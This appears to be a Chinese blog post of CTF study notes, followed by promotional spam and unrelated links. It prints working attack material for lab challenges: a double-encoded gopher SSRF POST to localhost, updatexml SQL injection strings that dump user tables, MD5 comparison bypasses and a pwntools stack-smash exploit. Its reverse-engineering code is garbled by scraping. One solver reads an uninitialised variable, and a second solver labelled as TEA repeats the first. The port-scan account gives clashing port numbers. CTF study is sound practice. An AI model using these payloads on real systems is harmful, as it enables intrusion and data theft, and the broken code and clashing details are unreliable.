CTF学习笔记汇总(非常详细)零基础入门到精通,收藏这一篇就够了

从零开始学习CTF——CTF是什么 前言: 从2019年10月开始接触CTF,学习了sql注入、文件包含等web知识点,但都是只知道知识点却实用不上,后来在刷CTF题才发现知识点的使用方法,知道在哪里使用,哪里容易出漏洞,可是在挖src漏洞中还是很迷漫,学了快一年还是没挖过一条src漏洞。这一系列是把自己学习的CTF的过程详细写出来,方便大家学习时可以参考。 一、CTF简介 简介 中文一般译作夺旗赛(对大部分新手也可以叫签到赛),在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式 CTF起源于1996年DEFCON全球黑客 阅读详情

CTF学习笔记汇总

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Part.01

Web

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

01

SSRF

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

主要攻击方式如下:

01

对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。

02

攻击运行在内网或本地的应用程序。

03

对内网Web应用进行指纹识别,识别企业内部的资产信息。

04

攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。

05

利用file协议读取本地文件等。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

漏洞产生相关函数:

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()

1.内网访问

2.伪协议读取文件

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

URL伪协议有如下这些:

· file:///

· dict://

· sftp://

·ldap://

· tftp://

· gopher://

!

这里其实有点考常识了,因为网站的目录一般都在**/var/www/html/,因此我们直接使用file伪协议访问flag.php**就可以了。

3.端口扫描

在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。



抓包后,发送到Intruder模块,将positions定位到内网地址端口,如图:

然后根据题目题目,从8000-9000进行爆破尝试。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

扫描结果:

8854长度更长,查看该请求的回应

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

说明8607端口开启了Apache服务,尝试从浏览器访问该端口

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

4.POST请求

打开目录发现还是和之前的目录一样,既然如此根据题目提示这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php, 可能把文件放到了一个网页的目录之下,我们直接使用disrearch进行扫描,发现目录直线有flag.php和index.php(放置网页源码地方)

构造,查看源码

/?url=var/www/html/index.php

构造,查看flag.php文件

/?url=var/www/html/flag.php

告诉我们需要从127.0.0.1去访问,我们继续访问,

拿到KEY,这个题目因该就是告诉我需要给服务器发送一个KEY就能得到你想要的东西。但是页面上又什么都没有,这就需要我们构建一个POST请求包来发送这个KEY。



ssrf中可以使用gopher协议来构造post请求,具体格式:

gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body

POST包的最基本的要求如下:

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Type: application/x-www-form-urlencoded

Content-Length: 36

key=00f001523d0b955749ea5e3b0ca09b5f

!

注:在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码:

将构造好的请求包进行第一次 URL编码

!

注:在第一次编码后的数据中,将%0A全部替换为%0D%0A。

再看看0A到底是什么,原来ASCII的0A是换行,也就是\n,再想想,Windows系统下的换行是如何处理的?\r\n,原来如此。

因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

再进行第二次 URL编码得到如下:

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13

完整的payload:

题目给了提示,curl会跟踪302跳转,这个点主要用于参数长度或内容有限制的时候,可以通过302跳转来实现ssrf。例如,限制了url长度,那么可以在自己的vps或者靶机上,上传构造好的(Location: gopher://xxxxxxxx)跳转页面,然后直接访问跳转页面,即可实现ssrf。

02

MD5绕过的技巧

01

/MD5函数漏洞(==)/

$str1 = $_GET[‘str1’];

$str2 = $_GET[‘str2’];

if (md5( s t r 1 ) = = m d 5 ( str1) == md5( str1)==md5(str2)){

die(‘OK’); }

  • php弱类型比较产生的漏洞

  • 想要满足这个判断只需要构造出MD5值为0e开头的字符串,这样的话弱类型比较会认为是科学技术法,0的多少次方都是0,因此可以绕过

  • 有一些字符串的MD5值为0e开头,这里记录一下

  • QNKCDZO

  • 240610708

  • s878926199a

  • s155964671a

  • s214587387a

  • 还有MD5和双MD5以后的值都是0e开头的

  • CbDLytmyGm2xQyaLNhWn

  • 770hQgrBOjrcqftrlaZk

  • 7r4lGXCH2Ksu2JNT3BYM

02

/PHP特性(===)/

$str1 = $_GET[‘str1’];

$str2 = $_GET[‘str2’];

if (md5( s t r 1 ) = = = m d 5 ( str1) === md5( str1)===md5(str2)) {

die(‘OK’);

}

  • 因为是强类型比较,用0e开头的字符串是没办法绕过的了,但是PHP自身的特性使得可以提交一个数组,而md5函数传入数组的返回值都是NULL,这样就可以绕过强类型比较了。所以这里用GET传入?

    str1[]=1&str2[]=2就行了

  • 补充:md5()或者sha1()之类的函数计算的是一个字符串的哈希值,对于数组则返回false,如果 s t r 1 和 str1和 str1和str2都是数组则双双返回FALSE, 两个FALSE相等得以绕过

03

/sql手工注入时解决updatexml取值显示不全的问题/

updatexml函数用法

updatexml(xml\_doument,XPath\_string,new\_value)

第一个参数:XML的内容

第二个参数:是需要update的位置XPATH路径

第三个参数:是更新后的内容

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

第一种方法:limit函数

limit 0,1, 从表中的第0个数据开始,只读取一个limit 0,1:limit 从第几个开始,显示多少个数据;比如0代表从第一个开始,1代表显示一个数据。

输入:?id=1' and updatexml(1,concat(0x23,(select username from users limit 0,1 )),0) -- +

我们只需要变更limit后的第一个参数值就可以把数据一一显示出来

以此类推可以读取所有字段

第二种方法:使用mid函数

MID 函数用于从文本字段中提取字符。

mid()函数语法如下:

SELECT MID(column\_name,start\[,length\]) FROM table\_name

其中第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数(最多返回31个字符)

输入:?id=1' and updatexml(1,concat(0x23,mid((select group\_concat(username) from security.users),1,31)),1) -- +



我们只需要变更mid后的第二个参数值就可以把数据全部显示出来



输入:?id=1' and updatexml(1,concat(0x23,mid((select group\_concat(username) from security.users),32,31)),1) -- +



输入:?id=1' and updatexml(1,concat(0x23,mid((select group\_concat(username) from

security.users),63,31)),1) – +

相比之下mid方法相对于limit读取数据更快一些

04

/反序列化/

1.反序列化魔术方法

__construct

具有 \_\_construct 函数的类会在每次创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作。

__destruct

__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

__invoke

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有

效。)

__wakeup

在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对

象需要的资源。

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

2.PHP——serialize()序列化类变量public、protected、private的区别

  • protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见,也就不能输出。因此保护类的变量在序列化时,前面会加上\0*\0的前缀。这里的 \0 表示 ASCII码为 0 的字符(不可见字符),而不是 \0 组合。计算长度时\0(%00)算做一个字符。url中用%00代替。

  • private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见,也就不能输出。因此私有类的变量在序列化时,前面都会加上\0类名\0的前缀。字符串长度也包括所加前缀的长度,计算长度时\0(%00)算做一个字符。url中用%00代替。

  • 在序列化时,Public属性序列化后格式:成员名,public无标记,变量名不变。s:2:“op”;i:2;

  • Private属性序列化后格式:%00类名%00成员名,protected在变量名前添加标记\00*\00。s:5:“\00*\00op”;i:2;

  • Protected属性序列化后的格式:%00*%00成员名。private在变量名前添加标记\00类名\00。s:17:"\00

    类名\00op";i:2;

但是在对序列化后的数据直接进行复制时会丢失 %00 所以我们对其手动补全,并更改成员属性数目使其大于实际数目.

Part.02

REVERSE

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

01

shellcode

01

/[HDCTF]double_code/

进入程序我们直接Shift + F12查看一下字符串

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

点进此字符串观察

在写入程序(WriteProcessMemory)之前应该需要初始化分配内(VirtualAllocatEx)。

进入引用的这个sub函数

发现有爆红部分

可以推测这个是shellcode

转到Hex页面查看

将这一段16进制粘贴到010 重新构造一个文件

我们先将视图转换成自己熟悉的方式,这样可以清晰的判断是否在这一步出了什么差错

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

将此文件保存之后使用ida32打开,可以清晰的看到函数的逻辑

经过简单的逆运算就能得到flag

# include<iostream>``# include<algorithm>``# include<cstdio>``# include<cmath>``# include<map>``# include<vector>``# include<queue>``# include<stack>``# include<set>``# include<string>``# include<cstring>``# include<list>``# include<stdlib.h>``using namespace std;``   ``int main()``{`    `unsigned int v0;` `char v1[41] = {0x48, 0x67, 0x45, 0x51, 0x42, 0x7b, 0x70, 0x6a, 0x30, 0x68, 0x6c, 0x60, 0x32, 0x61, 0x61, 0x5f, 0x42, 0x70,0x61, 0x5b, 0x30, 0x53, 0x65, 0x6c, 0x60, 0x65, 0x7c, 0x63, 0x69, 0x2d, 0x5f, 0x46, 0x35, 0x70, 0x75,0x7d};` `int v2;``int v3;``int v4;``int v5;``int v6;``int i;``   ``for (i = 0;i < 37; ++i)``{``if (v0 <= i)``break;``   ``v6 = i % 5;``if (i % 5 == 1)`    `{`        `v1[i] ^= 35;`    `}`    `else`    `{`        `switch(v6)`    `{`        `case`    `2:`    `v1[i] -= 2;`    `break;`    `case`    `3:`    `v1[i] += 3;`    `break;`    `case`    `4:`    `v1[i] += 4;`    `break;`    `case`    `5:`    `v1[i] += 25;`    `break;`    `}``   `    `}`    `}`    `printf("%s", v1);`    `}

01

/[HGAME]shellcode/

根据这个题目名称我们便有了思路 开始寻找shellcode

我们进入ida先搜索是否有main函数

直接跟进

可以发现有一个函数名叫encoding_base64 ,那根据下方的base64编码便能推测此处为被加密的shellcode代码。我们将此处的base64代码复制下来,在010中选择 粘贴自Base64。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

再将此文件用ida32打开

可以看出这是一个稍微魔改了一点的TEA

# include<iostream>``# include<algorithm>``# include<cstdio>``# include<cmath>``# include<map>``# include<vector>``# include<queue>``# include<stack>``# include<set>``# include<string>``# include<cstring>``# include<list>``# include<stdlib.h>``using namespace std;``   ``int main()``{`        `char v1[41] = { 0x48, 0x67, 0x45, 0x51, 0x42, 0x7b, 0x70, 0x6a, 0x30, 0x68, 0x6c, 0x60, 0x32, 0x61, 0x61, 0x5f, 0x42, 0x70,0x61, 0x5b, 0x30, 0x53, 0x65, 0x6c, 0x60, 0x65, 0x7c, 0x63, 0x69, 0x2d, 0x5f, 0x46, 0x35, 0x70, 0x75,0x7d };`    `unsigned int v0 = strlen(v1);`    `int v2;`    `int v3;`    `int v4;`    `int v5;`    `int v6;`    `int i;``   `    `for (i = 0; i < 37; ++i)`    `{`        `if (v0 <= i)`            `break;``   `        `v6 = i % 5;`        `if (i % 5 == 1)`        `{`            `v1[i] ^= 35;`        `}`        `else`        `{`            `switch (v6)`            `{`                `case 2:`                    `v1[i] -= 2;`                    `break;`                    `case 3:`                        `v1[i] += 3;`                        `break;`                        `case 4:`                            `v1[i] += 4;`                            `break;`                            `case 5:`                                `v1[i] += 125;`                                `break;`            `}``   `        `}`    `}``   `    `printf("%s", v1);``}``   

!

小结:

Shellcode类题常常需要利用数据构造文件,在所构造的文件中进行二次解密再得到flag,常规类题目需要观察 Hex部分 / 已给的密文 是否有文件信息,根据题目给的提示来判断是否为shellcode再进行构造

备注:

这些所列出的shellcode题型为中等难度题型,若是个人对高难度的shellcode题目有兴趣可以看看**[虎符CTF 2022]the_shellcode**

—>

【Reverse】【虎符CTF 2022】 the_shellcode 复现 (fup1p1.cn)

HFCTF2022-the_shellcode - P.Z’s Blog (ppppz.net)

Pwn

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

01

stack smach

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这类型的题目通常会存在通常会存在canary保护,因为这是利用canary的报错时会程序会执stack_chk_fail 函数来打印 libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称),我们就可以通过栈溢出来覆盖到 __libc_argv[0] 为我们想要泄漏的地址,就能泄露对应的内容。

01

/ 例题(nssctf easyecho) /

首先检查保护

保护全开

进行动态调试,先把断点下到第四个printf(偏移为0xB2E)处

发现栈上存在一个push rbx命令的地址,那么我们可以在这个地址前面的栈空间里面填满内容,这样就可以通过接下来代码中的%s来泄露这串地址,泄露了这串地址我们就可以得知这一内存页的基地址即(leak addr-0xcf0),有了基地址,而在ida中可以查看每行命令的偏移量,那就可以做到泄露出存放flag的地址即(leak addr - 0xcf0 + 0x202040)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以通过调试得出从输入口到文件名字位置的偏移量为0x168从而可以把canary报错时出现的文件名替换为flag位置,从而泄露flag,当然最后必须要保证整个程序可以成功的return,不然也不会出现报错。

exp如下:

from pwn import *``from struct import pack``from LibcSearcher import *``   ``def s(a):`    `p.send(a)``def sa(a, b):`    `p.sendafter(a, b)``def sl(a):`    `p.sendline(a)``def sal(a, b):`    `p.sendlineafter(a, b)``def r():`    `print(p.recv())``def rl(a):`    `p.recvuntil(a)``def debug():`    `gdb.attach(p)`    `pause()``def get_addr():`    `return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))``   ``context(os='linux', arch='amd64', log_level='debug')``p = process('./pwn')``#p = remote('node4.anna.nssctf.cn',28782)``elf = ELF('./pwn')``sal(b'Name: ', b'a'*0x10)``rl(b'a'*0x10)``pro_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xcf0``sal(b'Input: ', b'backdoor\x00')``flag_addr = pro_base + 0x202040``payload = b'a'*0x168 + p64(flag_addr)``sal(b'Input: ', payload)``sal(b'Input: ', b'exitexit')``r()``r()``p.interactive()

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

CTF学习路线!最详细没有之一!(建议收藏) 对于CTF入门,现在的环境比14、15年我刚接触时好太多了 阅读详情

相关推荐

新手小白如何入门学习CTF?【网络安全】

新手小白如何学习CTF?怎么入门?

msb_114的博客 1272

CTF自学笔记

CTF自学笔记第一章:课程介绍与环境搭建1.课程介绍2.环境搭建第二章:CTF训练 SSH服务1.CTF-SSH私钥泄露信息探测分析探测结果探测大端口的信息 第一章:课程介绍与环境搭建 1.课程介绍 CTF比较中涉及内容比较复杂,我们要利用所有可以利用的资源获取flag。 2.环境搭建 安装软件:(都是数据库软件) vmware workstation 14 Virtual box 测试靶场网络环境: 1.使用 netdiscover -r ip/netmask 嗅探靶场IP (例:netdiscove

u011005040的博客 2653

原恒星尘埃生长的三维MHD模拟与湍流效应研究

星际尘埃演化是恒星形成过程中的关键环节,其动力学行为直接影响行星系统的构建。通过磁流体力学(MHD)模拟可以揭示尘埃颗粒从微米级到行星胚胎尺度的生长机制,其中湍流效应通过改变碰撞频率和密度结构发挥双重作用。最新研究采用COALA-RAMSES耦合框架,实现了包含自洽尘埃生长的三维非理想MHD模拟,量化了不同物理环境下尘埃尺寸分布的演化规律。这些发现不仅为解释ALMA观测数据提供理论依据,也对行星形成初期条件约束具有重要意义,特别是在湍流参数化与尘埃生长速率关系方面取得突破。

weixin_30988079的博客 383

CTF 学习笔记

CTF起源于1996年DEFCON全球黑客大会,以替代之前黑客们通过互相发起真实攻击进行技术比拼的方式。WordPress是利用PHP开发的博客平台,用户可以在支持PHP和MySQL数据库的服务上架设属于自己的网站。也可以把WordPress当做一个内容管理系统(CMS)来使用。WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持PHP和MySQL数据库的服务器上使用自己的博客。

梁辰兴的博客 5968

从零开始安装 Windows 11 和 Ubuntu 22.04 双系统

本文详解Windows与Ubuntu 22.04双系统安装流程:需提前确认BIOS模式(UEFI/GPT或Legacy/MBR),关闭BitLocker加密、设备加密及快速启动;推荐Rufus/Ventoy制作启动盘。安装时需规划分区方案(建议单独划分EFI系统分区),注意引导器安装位置选择。双系统启动通过BIOS引导顺序管理,安装后需同步Windows与Linux系统时间。教程适配主流UEFI+GPT设备,强调操作前数据备份及Windows更新策略调整,避免兼容性问题。

萑澈的博客 3767

Bochs源码分析 - 4: 使用ida来调试bochs

前言 bochs内部提供了一个调试器,但是这个命令行调试器相当难用,想找一个gui的debugger。第一次是在百度百科的bochs词条中介绍的peter-bochs-debugger调试器(java编写),但是后来发现ida也有一个bochs调试器,因为对ida比较熟悉,就选用此作为bochs调试器。 在配置过程中参考博客 https://blog.youkuaiyun.com/cssxn/article/details/90738498 中的配置,但是这是直接发布版本,拿源码编译...

WriteAnything_的博客 2756

新手如何入门CTF?(非常详细),从零基础入门到精通,看完这一篇就够了

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

2401_84618514的博客 959

AIOps探索 | 如何用大模型构建高效运维知识及智能问答平台(1)

好久没有分享AIOps相关干货了,最近大模型这么火,而且我们有客户已经基于大模型构建了知识及智能问答平台,需要在运维领域结合使用场景进行应用。为此,楼主从头到尾声梳理了一遍大模型在运维领域构建知识及智能问答平台的应用场景、技术实现,总结出来供大家一同探索,希望对大家理解和运用大模型有一定帮助~

智能运维及数据中台探索 2810

零基础小白如何入门CTF(非常详细),零基础入门到精通,看这一篇就够了

零基础小白如何入门CTF(非常详细),零基础入门到精通,看这一篇就够了

2302_76672693的博客 1372

小论文/大论文必备 | RT-DETR目标检测、数据集增强 | 引入多种数据集增强方法,支持图像和标签同步扩充增强,助力小论文和大论文实验涨点策略,平均提升模型mAP约1-2个百分点

RT-DETR目标检测数据增强策略研究 ,本文针对RT-DETR目标检测模型提出9种数据增强方法,包括几何变换(水平/垂直翻转、中心裁剪)、光照调整(亮度、对比度)和噪声添加(高斯/椒盐噪声)等。所有增强操作均保持图像与标签同步变换,确保训练数据的准确性。实验表明,该策略可提升模型mAP 1-2个百分点,对小目标检测效果尤为显著。文中提供了完整的Python实现代码,支持批量处理图像和标签文件,并详细说明了各增强方法的功能特点。该方法通过提升数据多样性,有效增强了模型在复杂场景下的鲁棒性和泛化能力。

Ai缝合怪、助力小伙伴高效发论文 460

微信小程序 - 最新详细实现跳转打开第三方网站方法流程及示例代码,在小程序内直接打开H5页面或微信公众号文章后台业务域名配置及下载校验文件上传服务器,嵌入外部网站跳转第三方h5网页(详细配置及代码)

微信小程序,打开第三方网站,放校验文件,怎么配置业务域名,后台配置,怎么打开外部没有关联的网站,小程序直接打开公众号文章,指定页面,跳转第三方url,跳转到外部网站,小程序跳转到任意外部网页,网站链接,跳转到其他网页(外部链接),小程序嵌入外部h5链接,校验文件怎么放到对方服务器上,要跳转到网站没权限放过去,校验文件验证域名,把校验文件放到对面网站,别人的服务器也打不开没权限怎么放呢,勾选不校验合法域名,txt,打不开别人的网页怎么办,真机调试打不开,无法跳转,有什么其他办法不放校验文件吗,别人不可能同意,

🏆 前端领域优质创作者 1万+

知名CTF赛事发布网站(非常详细)零基础入门到精通,收藏这一篇就够了

2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.写在最后的话:“。祝你,祝我,祝我们,不管过去还是现在,科学都是对一切可能的事物的观察。所谓先见之明,是对即将出现的事物的认识,而这认识要有一个过程。

logic1001的博客 1680

Xilinx FPGA平台DDR3设计保姆式教程(3)MIG IP核使用教程及DDR读写时序

干货来了,用DDR搬砖,只需要会用IP就好,Xilinx官方YYDS! ----------------------------------------------------------------------------------------------------------------- 汇总篇: Xilinx平台DDR3设计保姆式教程(汇总篇)——看这一篇就够了 ----------------------------------------------------------...

数字IC/FPGA杂货铺,找一找,或许有你想要的~ 2万+

【CTF 】一篇文章带你了解CTF那些事儿,CTF入门到精通,收藏这篇就够了

CTF,即 Capture The Flag,中文名为夺旗赛,是一种网络安全技术人员之间进行技术竞技的比赛形式。在 CTF 比赛中,参赛者需要通过解决各种与网络安全相关的技术挑战来获取“旗帜”,这些挑战通常涵盖了多个领域的知识和技能,例如密码学、Web 安全、逆向工程、漏洞挖掘与利用、隐写术、二进制分析等等。比如说,在密码学相关的挑战中,可能需要参赛者破解加密的信息或算法来获取关键线索;Web 安全挑战可能要求找出网站存在的漏洞并加以利用;逆向工程则可能涉及对未知软件或程序的分析和理解。

Javachichi的博客 2676

【数据集5】土地利用类型数量预测数据LUH2

简介土地利用类型数量预测数据LUH2

WW、forever的博客 4547

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

2026最新CTF知识点网址汇总大全,零基础入门到精通,收藏这篇就够了

网址:https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve。▪️RSA加密原理 | 公钥密码详解 https://cryptobook.nakov.com/digital-signatures/rsa-sign-verify-examples。网址:https://kavaliro.com/wp-content/uploads/2014/03/AES.pdf。JD-GUI反编译工具 - Java字节码反编译查看器。

2301_79455190的博客 1545

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

CTF知识点汇总,零基础入门到精通,收藏这篇就够了

网址:https://cryptobook.nakov.com/digital-signatures/rsa-sign-verify-examples。网址:https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve。网址:https://kavaliro.com/wp-content/uploads/2014/03/AES.pdf。网址:https://owasp.org/www-community/attacks/csrf。

Libra1313的博客 1579

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

2025最新CTF知识点网址汇总大全,零基础入门到精通,收藏这篇就够了

全网最全CTF资源导航站🔥从入门到进阶,看这篇就够了经常会有粉丝朋友后台私信评论留言想要CTF相关资料,大白也深知大家想在CTF大赛中叱咤风云却苦于找不到优质资源?别担心!

ewii12567的博客 1717

如何快速入门CTF?从零基础入门到精通,收藏这一篇就够了!

CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯”。攻防模式常见于线下决赛。

QIANDXX的博客 1039

CTF入门资源推荐(非常详细)零基础入门到精通,收藏这一篇就够了

PS:这些新生赛都是个人打过的,质量都可以保证。个人没有打过的高质量比赛也希望师傅们能够谅解。这种比赛的特点一般是周期长,难度都不会特别高,一般是校赛。部分网站可能都不在了,但明年可能会再办。

A1_3_9_7的博客 2498
上一篇: 丰富PPT带你学习网络安全等级保护原理与实践
下一篇: 如何做好大模型时代的产品经理的几点思考(非常详细)零基础入门到精通,收藏这一篇就够了
网络安全大白
博客等级 码龄5年 7305粉丝 698原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值